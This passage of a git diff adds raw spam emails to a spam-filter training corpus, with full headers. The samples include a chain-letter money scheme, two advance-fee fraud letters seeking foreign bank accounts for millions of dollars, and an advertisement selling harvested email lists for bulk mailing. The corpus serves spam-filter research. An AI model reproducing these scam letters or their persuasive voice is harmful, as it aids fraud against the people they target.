
    ======================================================

    FOLLOWING +IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM:

    You have just received +information that can give you financial freedom for the rest of your life, with +NO RISK and JUST A LITTLE BIT OF EFFORT. You can make more money in the next few +weeks and months than you have ever imagined. Follow the program EXACTLY AS +INSTRUCTED. Do Not change it in any way. It works exceedingly well as it is +now.

    Remember to e-mail a copy of this exciting report after you have put +your name and address in Report #1 and moved others to #2 ...........# 5 as +instructed above. One of the people you send this to may send out 100,000 or +more e-mails and your name will be on every one of them.  Remember though, the more you send out +the more potential customers you will reach. So my friend, I have given you the +ideas, information, materials and opportunity to become financially independent. +IT IS UP TO YOU NOW !

    ============ MORE TESTIMONIALS +================

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    =======================================================

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    =======================================================
    ORDER YOUR REPORTS TODAY AND +GET STARTED ON
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    + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00928.eb16be370343cac1476fcde9bf0a1f32 b/bayes/spamham/spam_2/00928.eb16be370343cac1476fcde9bf0a1f32 new file mode 100644 index 0000000..a662303 --- /dev/null +++ b/bayes/spamham/spam_2/00928.eb16be370343cac1476fcde9bf0a1f32 @@ -0,0 +1,318 @@ +From cheapdentists8715@Flashmail.com Tue Jul 23 00:34:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1926C440C8 + for ; Mon, 22 Jul 2002 19:34:57 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 00:34:57 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MNVl407285 for + ; Tue, 23 Jul 2002 00:31:47 +0100 +Received: from mailserver.local.vandesteegpackaging.com + (mail.vandesteegpackaging.com [194.134.100.242]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6MNUtp11618 for + ; Tue, 23 Jul 2002 00:30:56 +0100 +Received: from D (203.215.81.15 [203.215.81.15]) by + mailserver.local.vandesteegpackaging.com with SMTP (Microsoft Exchange + Internet Mail Service Version 5.5.2653.13) id 32YWS3HG; Mon, + 22 Jul 2002 23:13:14 +0200 +Message-Id: <0000366355dd$000059c8$00001999@D> +To: , , +Cc: , , + +From: cheapdentists8715@Flashmail.com +Subject: Great Health Benefits +Date: Mon, 22 Jul 2002 16:21:15 -1900 +MIME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + +Save up to 80 + + + + +
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This is by virtue of its nature as +being utterly confidential and top secret. A member of the Nigeria Export Promotion Council +(N.E.P.C.) who was part of the federal government delegation to your country during a trade +exhibition gave your particulars to me. I have decided to seek a confidential operation with +you in the execution of the deal described hereunder for the benefit of all the parties and +hope that you keep it top secret because of the nature of the business. + +Within the ministry of petroleum resources where I work as a director of engineering and +projects, and with the co-operation of four other very top officials, we have under our +control as overdue contract payments, bills totaling Thirty One Million United States Dollars, +which we want to transfer to a foreign account, with the assistance and co-operation of a +foreign company to receive the said funds on our behalf or a reliable foreign individual +account to receive the funds. + +The source of the fund is as follows: during the last military government here in Nigeria +which lasted bout eleven months, government officials set up companies and awarded +themselves various contracts which were grossly over-invoiced in various ministries. The +present civilian government is not aware of the atrocities committed by their predecessors +and as a result, we have a lot of such over invoiced contract payment s pending which we +have identified floating at the central bank of Nigeria ready for payment. However by virtue +of our position as civil servants, we cannot acquire this money in our names. I was +therefore delegated as a matter of urgency by my colleagues to look for an over seas +partner into whose account we would transfer the sum of US$31,000,000.00 (THIRTY +ONE MILLION UNITED STATES DOLLARS) hence we are writing you this letter. + + the present civilian government is determined to pay foreign contractors l debts owed +so as to maintain an amiable relationship with foreign governments and non-government +financial agencies. We have decided to include our bills for approval with the co-operation +of some officials of the federal ministry of finance (F.M.F) and the central bank of Nigeria +(C.B.N). We are seeking your assistance in providing us with a good company account or +any other offshore bank account into which we can remit this money by acting our main +partner and trustee or acting as the original contractor. This we can do by swapping of +account information and changing of beneficiary and other pertinent information to apply for +payment. By this act, we would be using your company information to apply for payment, +and prepare letters of claim and job description on behalf of your company. This process +would be an internal arrangement with the departments concerned. + +I have the authority of my partners involved to propose that should you be willing to assist +us in this transaction, your share as compensation will be us$6.2 million (20%), us$21.7 +million (70%) for us and us$3.1 (10%) for +taxation and miscellaneous expenses. + +The business itself is 100% safe, provided you treat it with utmost secrecy and +confidentiality. Also your area of specialization is not m hindrance to the successful +execution of this transaction. I have reposed my confidence in you and hope that you will +not disappoint me. + +I will bring the complete picture of the transaction to your +knowledge when I have heard from you. + +Thanks for your co-operation, + +Yours faithfully, + +Dr. Kataga Bakori + +NB: Please respond by sending a facsimile (Fax) to my direct confidential Fax No: 234 1 +7591666 + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00937.ab1a356a481bf9a59d00fd39d309e33f b/bayes/spamham/spam_2/00937.ab1a356a481bf9a59d00fd39d309e33f new file mode 100644 index 0000000..119324c --- /dev/null +++ b/bayes/spamham/spam_2/00937.ab1a356a481bf9a59d00fd39d309e33f @@ -0,0 +1,138 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NCEjhY070202 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 07:14:45 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6NCEioB070190 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 07:14:44 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NCEfhY070171 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 07:14:42 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6NCEfJ12850 + for ; Tue, 23 Jul 2002 08:14:41 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6NCEe029774 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 08:14:40 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6NCEcR29753 + for ; Tue, 23 Jul 2002 08:14:38 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6NCEbJ12832 + for ; Tue, 23 Jul 2002 08:14:37 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id HAA08963 + for cpunks@minder.net; Tue, 23 Jul 2002 07:23:09 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id HAA08924 + for cypherpunks-outgoing; Tue, 23 Jul 2002 07:22:48 -0500 +Received: from user ([195.166.233.251]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id HAA08883 + for ; Tue, 23 Jul 2002 07:22:13 -0500 +Message-Id: <200207231222.HAA08883@einstein.ssz.com> +From: "Dr. Kataga Bakori" +To: +Old-Subject: CDR: Awiating your fax response. +Mime-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Tue, 23 Jul 2002 13:16:24 +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: Awiating your fax response. + +(Fax) to my direct confidential Fax No: 234 1 7591666 + +Dr. Kataga Bakori +Lagos, Nigeria. +23rd July 2002 + + +Attention President/C.E.O + +Dear Sir, + +REQUEST FOR URGENT BUSINESS RELATIONSHIP. + +Firstly I must solicit your strictest confidence in this subject. This is by virtue of its nature as +being utterly confidential and top secret. A member of the Nigeria Export Promotion Council +(N.E.P.C.) who was part of the federal government delegation to your country during a trade +exhibition gave your particulars to me. I have decided to seek a confidential operation with +you in the execution of the deal described hereunder for the benefit of all the parties and +hope that you keep it top secret because of the nature of the business. + +Within the ministry of petroleum resources where I work as a director of engineering and +projects, and with the co-operation of four other very top officials, we have under our +control as overdue contract payments, bills totaling Thirty One Million United States Dollars, +which we want to transfer to a foreign account, with the assistance and co-operation of a +foreign company to receive the said funds on our behalf or a reliable foreign individual +account to receive the funds. + +The source of the fund is as follows: during the last military government here in Nigeria +which lasted bout eleven months, government officials set up companies and awarded +themselves various contracts which were grossly over-invoiced in various ministries. The +present civilian government is not aware of the atrocities committed by their predecessors +and as a result, we have a lot of such over invoiced contract payment s pending which we +have identified floating at the central bank of Nigeria ready for payment. However by virtue +of our position as civil servants, we cannot acquire this money in our names. I was +therefore delegated as a matter of urgency by my colleagues to look for an over seas +partner into whose account we would transfer the sum of US$31,000,000.00 (THIRTY +ONE MILLION UNITED STATES DOLLARS) hence we are writing you this letter. + + the present civilian government is determined to pay foreign contractors l debts owed +so as to maintain an amiable relationship with foreign governments and non-government +financial agencies. We have decided to include our bills for approval with the co-operation +of some officials of the federal ministry of finance (F.M.F) and the central bank of Nigeria +(C.B.N). We are seeking your assistance in providing us with a good company account or +any other offshore bank account into which we can remit this money by acting our main +partner and trustee or acting as the original contractor. This we can do by swapping of +account information and changing of beneficiary and other pertinent information to apply for +payment. By this act, we would be using your company information to apply for payment, +and prepare letters of claim and job description on behalf of your company. This process +would be an internal arrangement with the departments concerned. + +I have the authority of my partners involved to propose that should you be willing to assist +us in this transaction, your share as compensation will be us$6.2 million (20%), us$21.7 +million (70%) for us and us$3.1 (10%) for +taxation and miscellaneous expenses. + +The business itself is 100% safe, provided you treat it with utmost secrecy and +confidentiality. Also your area of specialization is not m hindrance to the successful +execution of this transaction. I have reposed my confidence in you and hope that you will +not disappoint me. + +I will bring the complete picture of the transaction to your +knowledge when I have heard from you. + +Thanks for your co-operation, + +Yours faithfully, + +Dr. Kataga Bakori + +NB: Please respond by sending a facsimile (Fax) to my direct confidential Fax No: 234 1 +7591666 + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00938.cdac5333fc78f7128fd8f2905fe4b89b b/bayes/spamham/spam_2/00938.cdac5333fc78f7128fd8f2905fe4b89b new file mode 100644 index 0000000..86c3ee2 --- /dev/null +++ b/bayes/spamham/spam_2/00938.cdac5333fc78f7128fd8f2905fe4b89b @@ -0,0 +1,157 @@ +From contractor@goldenbay.com.cy Tue Jul 23 23:33:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BBB4E440CC + for ; Tue, 23 Jul 2002 18:33:10 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 23:33:10 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6NMWA400350 for + ; Tue, 23 Jul 2002 23:32:10 +0100 +Received: from post.unedcol.cefetes.br ([200.216.113.139]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6NMVMp16342 for + ; Tue, 23 Jul 2002 23:31:23 +0100 +Received: from main.gate.pl (200.14.253.226 [200.14.253.226]) by + post.unedcol.cefetes.br with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.2655.55) id P315K5NJ; Mon, 22 Jul 2002 22:47:41 -0300 +Message-Id: <00006e4d3778$00007ce5$00005afd@main.gate.pl> +To: +From: "E-Business Services" +Subject: Qualified Potential Clients For Your Industry +Date: Mon, 22 Jul 2002 18:47:28 -1900 +MIME-Version: 1.0 +X-Mailer: Microsoft Outlook Express +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + +Online Marketing Strategies + +
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    + + + diff --git a/bayes/spamham/spam_2/00939.8d335bc76836e51b449de9f6b38aa0f8 b/bayes/spamham/spam_2/00939.8d335bc76836e51b449de9f6b38aa0f8 new file mode 100644 index 0000000..fb42fb9 --- /dev/null +++ b/bayes/spamham/spam_2/00939.8d335bc76836e51b449de9f6b38aa0f8 @@ -0,0 +1,84 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NEkmhY030813 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 09:46:48 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6NEklSB030808 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 09:46:47 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NEfuhX028821 + for ; Tue, 23 Jul 2002 09:41:56 -0500 (CDT) + (envelope-from cpunks@einstein.ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id JAA13628 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 09:50:29 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id JAA13602 + for cypherpunks-outgoing; Tue, 23 Jul 2002 09:47:45 -0500 +Received: from smtphost.dircon.co.uk (smtphost.dircon.co.uk [194.112.32.49]) + by einstein.ssz.com (8.8.8/8.8.8) with ESMTP id JAA13534 + for ; Tue, 23 Jul 2002 09:43:26 -0500 +From: informatively@vmabox676.com.cc +Received: from enterprise_1.dircon.co.uk (dlan1443.dircon.co.uk [195.157.162.177]) + by smtphost.dircon.co.uk (8.9.3/8.9.1) with ESMTP id PAA23584 + for ; Tue, 23 Jul 2002 15:34:27 +0100 (BST) +Received: from 61.187.55.67 by enterprise_1.dircon.co.uk with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1457.7) + id PN3GPNRT; Mon, 22 Jul 2002 14:53:50 +0100 +Message-ID: <00003a521bf1$00004fc0$00000c1f@vmabox676.com.cc> +To: , , , + , , , + , , , + , , , + +Cc: , , , + , , + , , , + , , , + , +Subject: Free Digital TV installed in 4 rooms. 14599 +Date: Mon, 22 Jul 2002 21:51:43 -1600 +MIME-Version: 1.0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish + + +<> Get up to 4 receivers installed in 4 rooms! +<> No Equipment To Buy. +<> Fist 3 Months of Free Service! - +<> Up to 170 CHANNELS of CD quality sound and picture +<> PROGRAMMING LESS EXPENSIVE than cable TV in most markets + +You can receive FREE INSTALLATION of a Dish Network +Satellite TV System! You can also upgrade to a Personal Digital Video Recorder. +(Retail value $499 if you had to buy this!) + +Click here to get your FREE INSTALLATION of a Dish Network satellite TV +System and 3 months of free service before this promotion expires: + +http://www.proleadcom.com/discsat/index.php + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00940.33bee147237876bc1f28b1bf21b586a0 b/bayes/spamham/spam_2/00940.33bee147237876bc1f28b1bf21b586a0 new file mode 100644 index 0000000..1ad8019 --- /dev/null +++ b/bayes/spamham/spam_2/00940.33bee147237876bc1f28b1bf21b586a0 @@ -0,0 +1,61 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NCxqhY087719 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 07:59:52 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6NCxq3H087715 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 07:59:52 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NCxnhY087709 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 07:59:50 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6NCxmJ16256 + for ; Tue, 23 Jul 2002 08:59:48 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6NCxm100708 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 08:59:48 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6NCxlR00695 + for ; Tue, 23 Jul 2002 08:59:47 -0400 +Received: from mailin.minder.net (66-178-46-38.newskies.net [66.178.46.38] (may be forged)) + by locust.minder.net (8.11.6/8.11.6) with SMTP id g6NCxiJ16246 + for ; Tue, 23 Jul 2002 08:59:45 -0400 (EDT) + (envelope-from a_gidado@go.com) +Message-Id: <200207231259.g6NCxiJ16246@locust.minder.net> +From: "mabacha5@lycos.com" +Date: Tue, 23 Jul 2002 14:05:04 +To: cpunks@minder.net +Subject: Assistance requested(Please Read). +MIME-Version: 1.0 +Content-Type: text/plain;charset="iso-8859-1" +Content-Transfer-Encoding: 7bit + +Dear Sir/Ma, +I am HAJIYA MARYAM ABACHA, wife of the late Nigeria Head of State,General Sanni Abacha who died on the 8th of June, 1998 while still on active duty. l am contacting you in view of the fact that we will be of great assistance to each other likeness developing a cordial relationship. I currently have within my reach the sum of THIRTY FIVE MILLION US Dollars (US$35,000,000.00) cash which l intend to use for investment, like Real Estate Development or import/export business specifically in your country. This money came as a payback contract deal between my late husband and a Russian Firm on our countries multi-billion dollars Ajaokuta Steel Plant Project. The Russian Partners returned my husband's share of USD$35,000,000.00 after the death of my husband and lodged in my husband's security company of which l am director right now, the new Civilian Government have intensified their probe on my husband's financial and oil company. In view of these, l acted fast to withdraw the US$3! + 5,000,000.00 from the company's vault and deposited in another private security company vault within the country. I have since declared the Security Company bankrupt. No record ever existed concerning the money traceable by the government because there is no documentation showing that we received the money from the Russian. Due to the current situation in the country concerning government attitude towards my family, it has become quite impossible for me to make use of this money within. Let me refer you to the front page of This Day Newspapers of 10th March 2001. You can check it through their website : www.thisdayonline.com , click on archives,8th. june, 2001) The present government in Nigeria had frozen and seized all my bank accounts both here in Nigeria and abroad. Thus consent l shall expect you to contact me urgently to enable us discuss in detail about this transaction. Bearing in mind that your assistance is needed to transfer this fund, l proposed a percentage of 3! + 0% of the total sum to you for the expected service and assistance, 10 +% for offsetting minor expenses incurred in the course of this transaction. Your urgent response is highly needed as to stop further contacts. All correspondence must be by the email address above. l must use this opportunity to implore you to exercise the utmost indulgence to keep this matter extraordinarily confidential whatever your decision while await your prompt response. NB: Because of the security being mounted on the members of my family, l have decided that this transaction be kept in utmost secrecy, remember to include your private Telephone or fax number for easy communication. You can also contact my trusted friend and family attorney,Barrister Aishat Gidado at aishatgidado@go.com or her number 248033044180. +Best Regards. +Hajia Maryam Abacha. + + + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00941.3ad67a2e6c3bc19d2187dd5a98e05c9d b/bayes/spamham/spam_2/00941.3ad67a2e6c3bc19d2187dd5a98e05c9d new file mode 100644 index 0000000..b9ad2ab --- /dev/null +++ b/bayes/spamham/spam_2/00941.3ad67a2e6c3bc19d2187dd5a98e05c9d @@ -0,0 +1,242 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NLn7hY097248 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 16:49:07 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6NLn65b097245 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 16:49:06 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NLn3hY097226 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 16:49:05 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6NLn2J48136 + for ; Tue, 23 Jul 2002 17:49:02 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6NLn2U13275 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 17:49:02 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6NLmuR13247 + for ; Tue, 23 Jul 2002 17:48:56 -0400 +Received: from candeias.terra.com.br (candeias.terra.com.br [200.176.3.18]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6NLmsJ48116 + for ; Tue, 23 Jul 2002 17:48:55 -0400 (EDT) + (envelope-from POWERMAN10MILLION@hotmail.com) +Received: from pavuna.terra.com.br (pavuna.terra.com.br [200.176.3.41]) + by candeias.terra.com.br (Postfix) with ESMTP id C7A5443F1F + for ; Tue, 23 Jul 2002 18:48:51 -0300 (EST) +Received: from plain (dl-dtg-joi-C8B0B73E.p001.terra.com.br [200.176.183.62]) + by pavuna.terra.com.br (Postfix) with SMTP id 7711D682CC + for ; Tue, 23 Jul 2002 18:48:39 -0300 (EST) +From: POWERMAN10MILLION@hotmail.com +To: cpunks@minder.net +Subject: 10 million fresh email addresses sent to you on CD for FREE!!! TRY BEFORE YOU BUY!! +Date: Tue, 23 Jul 2002 14:31:43 +Mime-Version: 1.0 +Content-Type: text/plain; charset="DEFAULT_CHARSET" +X-Priority: 3 +X-MSMail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2919.6700 +X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 +Message-Id: <20020723214839.7711D682CC@pavuna.terra.com.br> + +GET READY FOR A DEAL YOU'VE NEVER SEEN BEFORE! +10 million hot fresh email addresses and much more! + +TRY BEFORE YOU BUY!!!!! + + +WE WILL SEND YOU THE +POWERMAN 10 MILLION +Internet Marketing Shop +CD FREE + +This is what you get: + + 10 million freah email addresses +Fully functional websites - ready to take orders +Proven high impact resalable products - ebooks +Cutting edge internet marketing tools +Instructions & valuable links +Test The CD, when you're 100% satisfied that the CD is everything +and more than it claims to be - then send $49.95 by check. money +order or pay by credit card on our website. + +NO STRINGS ATTACHED - WE SEND YOU THE CD - IF YOU LIKE IT - +YOU PAY - IF YOU DON'T LIKE IT - SEND IT BACK + +If you want us to send you the POWERMAN 10 MILLION Internet Marketing Shop CD +email: POWERMAN10MILLION@hotmail.com +Subject Line: SEND CD +Your Mailing Address: + + +10 MILLION NEW Addresses - Just Released! <<< THE VERY BEST email addresses available +anywhere!! Our research has found that many people have tried one or more of the following... + +Free Classifieds? (Don't work) +Web Site? (Takes thousands of visitors) +Banners? (Expensive and iffy) +E-Zine? (They better have a huge list) +Search Engines? (Easily buried with thousands of others) + +S O W H A T D O E S W O R K ? + +Although often misunderstood, there is one method that has proven to succeed time-after-time. + +E - M A I L M A R K E T I N G ! ! + +Here's what the experts have to say about E-Mail Marketing: + +"A gold mine for those who can take advantage of +mass e-mail programs" - The New York Times + +"E-mail is an incredible lead generation tool" +-Crains Magazine + +"Blows away traditional Mailing" +- Advertising Age + +Here is an example of your potential earnings if you have a product that +brings you a profit of around $30. Remember, on the Internet, you can +make money 7 days a week, 24 hours a day... even while you sleep, +orders come from all over the world! + +Orders Per Day Weekly Earnings Monthly Earnings Yearly Earnings + 1 $210.00 $840.00 $10,080.00 + 2 $420.00 $1,680.00 $20,160.00 + 3 $630.00 $2,520.00 $30,240.00 + 5 $1,050.00 $4,200.00 $50,400.00 + 10 $2,100.00 $8,400.00 $100,000.00 + 15 $3,150.00 $12,600.00 $151,200.00 + +THE QUESTION IS... how do you generate those orders? + +THE POWERMAN 10 MILLION - TRY BEFORE YOU BUY THE POWERMAN 10 MILLION, is the +ABSOLUTE BEST product of its kind anywhere in the world today. There are NO OTHER products +ANYWHERE that can compete with the quality of this CD. + +If you want us to send you the POWERMAN 10 MILLION Internet Marketing Shop CD +email: POWERMAN10MILLION@hotmail.com +Subject Line: SEND CD +Your Mailing Address: + + +O N E O F A K I N D +This CD is a first. No one... and we mean NO ONE is shipping valuable CDs to customers before +they pay. What is different about this offering? The main difference is all you have to do is email us +the address to ship the CD to! You don't have to worry about getting ripped off. There is no risk to you. + +Test The CD, when you're 100% satisfied that the CD is everything and more than it claims to be - +then send $49.95 by check. money order or credit card. + +Our claim to fame, is that our addresses are deliverable! The number #1 problem with email lists are +deliverability. You may have seen dozens of ads for lists or CD's or you may have purchased a list in +the past. Chances are, the list was produced 6 months, 1 year or even two years ago! Not ours, a new +volume CD comes out every 6-7 weeks. + +Here's how we prepare our e-mail lists: + +1. We clean and eliminate all duplicates. + +2. Next, we use a filter list of 400+ words/phrases to clean even more. No address with inappropriate or +profane wording survive! + +3. Then, a special filter file is used to eliminate the "Web Poisoned" e-mail addresses from the list. Our +EXCLUSIVE system reduced these "poison" addresses to near zero. You may have seen CD's with 30, 40, +50 million addresses, not only do they contain many undeliverable addresses, but most are notorious for +millions of these "poisoned" email addresses. + +4. Next we used our private database of thousands of known "extremists" and kicked off every one we could +find. NOTE:We maintain the world's largest list of individuals and groups that are opposed to any kind of +commercial e-marketing... they are gone, nuked! + +5. All domains have been verified as valid. + +WHAT DID WE END UP WITH? THE POWERMAN 10 MILLION INTERNET MARKETING SHOP CD + +If you want us to send you the POWERMAN 10 MILLION Internet Marketing Shop CD +email: POWERMAN10MILLION@hotmail.com +Subject Line: SEND CD +Your Mailing Address: + + +Getting this CD is equivalent to buying EVERY CD sold by almost everyone else, combined... EXCEPT - +it has been cleaned and the quality is unsurpassed by any list in existence! With our super clean lists you'll +send less...and get better results... plus you can start mailing as soon as you receive your CD! + +* Y O U G E T W H A T Y O U P A Y F O R * + +Our POWERMAN 10 MILLION INTERNET MARKETING CD will result in: + +* Higher Response Rates + +* Higher Sales Conversion Ratios + +* More Receptive prospects; Less Flames & Non-Buyers. + +* Less Contact With Anti-Commerce Radicals & Extremists. + +Remember that potential income chart at the beginning of this message? Can you imagine the kind of money you could +make if you mailed one million pieces and sold only one tenth (.01%) of one percent? You do the math, you'll be amazed! + +This product will prove to be the best of it's kind compared to ANY CD in terms of hours and money spent bringing it to +market. No competitor will ever duplicate the effort of what it takes for us to produce this superb product. We never have +compromised on quality, and surely won't release any product before it passes our "high standards" test.This is not a +rental list that is restricted to a one-time mailing. You are purchasing an e-mail address list for your own personal mailings +and may use it over-and-over. + +If you want us to send you the POWERMAN 10 MILLION Internet Marketing Shop CD +email: POWERMAN10MILLION@hotmail.com +Subject Line: SEND CD +Your 